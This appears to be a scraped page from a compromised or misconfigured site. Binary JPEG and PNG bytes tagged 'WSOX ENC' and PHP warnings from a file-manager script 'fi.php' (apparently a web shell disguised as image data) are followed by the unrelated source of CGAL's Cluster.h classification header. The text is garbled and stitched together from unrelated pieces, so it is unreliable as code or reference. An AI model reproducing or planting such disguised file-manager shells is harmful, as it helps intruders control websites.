1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
// Copyright (c) 2018 GeometryFactory Sarl (France). // All rights reserved. // // This file is part of CGAL (www.cgal.org). // // $URL: https://github.com/CGAL/cgal/blob/v6.1/Classification/include/CGAL/Classification/Cluster.h $ // $Id: include/CGAL/Classification/Cluster.h b26b07a1242 $ // SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial // // Author(s) : Simon Giraudot #ifndef CGAL_CLASSIFICATION_CLUSTER_H #define CGAL_CLASSIFICATION_CLUSTER_H #include #include #include #include namespace CGAL { namespace Classification { /*! \ingroup PkgClassificationCluster \brief Class that represent a cluster of items to be classified as a single atomic object. A cluster is a set of indices of items inside an input range with random access. \tparam ItemRange model of `ConstRange`. Its iterator type is `RandomAccessIterator`. Its value type depends on the data that is classified (for example, `CGAL::Point_3` or `CGAL::Triangle_3`). \tparam ItemMap model of `ReadablePropertyMap` whose key type is the value type of the iterator of `ItemRange` and value type is the type of item to classify (for example, `CGAL::Point_3`). */ template class Cluster { public: using Item = typename boost::property_traits::value_type; /// \cond SKIP_IN_MANUAL struct Neighbor_query { template OutputIterator operator() (const Cluster& cluster, OutputIterator output) const { return std::copy (cluster.neighbors->begin(), cluster.neighbors->end(), output); } }; std::shared_ptr > neighbors; /// \endcond /// \cond SKIP_IN_MANUAL class Point_idx_to_point_unary_function { public: using argument_type = std::size_t; using result_type = typename boost::property_traits::reference; const ItemRange* m_range; ItemMap m_item_map; Point_idx_to_point_unary_function (const ItemRange* range, ItemMap item_map) : m_range (range), m_item_map (item_map) { } result_type operator() (const argument_type& arg) const { return get (m_item_map, *(m_range->begin() + arg)); } }; /// \endcond private: const ItemRange* m_range; ItemMap m_item_map; std::shared_ptr > m_inliers; mutable CGAL::Bbox_3 m_bounding_box; int m_training; int m_label; public: /// \name Constructor /// @{ /*! \brief Constructs an empty cluster of items. Items in the clusters will be subsets of `range`. \param range input range. \param item_map property map to access the input items. */ Cluster (const ItemRange& range, ItemMap item_map) : neighbors (std::make_shared >()) , m_range (&range), m_item_map (item_map) , m_inliers (std::make_shared >()) , m_training(-1), m_label(-1) { } /// @} /// \name Modifications /// @{ /*! \brief Clears the cluster. */ void clear () { m_inliers->clear(); } /*! \brief inserts element of index `idx` in the cluster. */ void insert (std::size_t idx) { m_inliers->push_back (idx); } /// @} /// \name Access /// @{ /*! \brief returns the number of items in the cluster. */ std::size_t size() const { return m_inliers->size(); } /*! \brief returns the index (in the input range) of the i^{th} element of the cluster. */ std::size_t index (std::size_t i) const { return (*m_inliers)[i]; } /*! \brief returns the i^{th} item of the cluster. */ const Item& operator[] (std::size_t i) const { return get (m_item_map, *(m_range->begin() + (*m_inliers)[i])); } /*! \brief returns the bounding box of the cluster. */ const CGAL::Bbox_3& bbox() const { if (m_bounding_box == CGAL::Bbox_3()) { Point_idx_to_point_unary_function transform (m_range, m_item_map); m_bounding_box = CGAL::bbox_3 (boost::make_transform_iterator (m_inliers->begin(), transform), boost::make_transform_iterator (m_inliers->end(), transform)); } return m_bounding_box; } /// @} /// \name Classification /// @{ /*! \brief returns the input classification value used for training. */ int training() const { return m_training; } /*! \brief returns a reference to the input classification value used for training. */ int& training() { return m_training; } /*! \brief returns the output classification value. */ int label() const { return m_label; } /*! \brief returns a reference to the output classification value. */ int& label() { return m_label; } // @} }; /*! \ingroup PkgClassificationCluster \brief Given a set of cluster indices, segments the input `range` into `Cluster` objects. All items whose index value `idx` (accessed through `index_map`) is the same are stored in the same cluster at position `idx` in the `clusters` vector. \tparam ItemRange model of `ConstRange`. Its iterator type is `RandomAccessIterator`. Its value type depends on the data that is classified (for example, `CGAL::Point_3` or `CGAL::Triangle_3`). \tparam ItemMap model of `ReadablePropertyMap` whose key type is the value type of the iterator of `ItemRange` and value type is the type of item to classify (for example, `CGAL::Point_3`). \tparam IndexMap is a model of `ReadablePropertyMap` with value type `int`. \param range input range. \param item_map property map to access the input items. \param index_map property map that associates the index of an item in the input range to the index of a cluster (-1 if item is not assigned to a cluster). \param clusters container where generated `Cluster` objects are stored. */ template std::size_t create_clusters_from_indices (const ItemRange& range, ItemMap item_map, IndexMap index_map, std::vector >& clusters) { std::size_t idx = 0; for (typename ItemRange::const_iterator it = range.begin(); it != range.end(); ++ it, ++ idx) { int c = int(get (index_map, idx)); if (c == -1) continue; if (std::size_t(c) >= clusters.size()) { clusters.reserve (c + 1); for (std::size_t i = clusters.size(); i <= std::size_t(c); ++ i) clusters.push_back (Cluster(range, item_map)); } clusters[std::size_t(c)].insert (idx); } return clusters.size(); } } // namespace Classification } // namespace CGAL #endif // CGAL_CLASSIFICATION_CLUSTER_H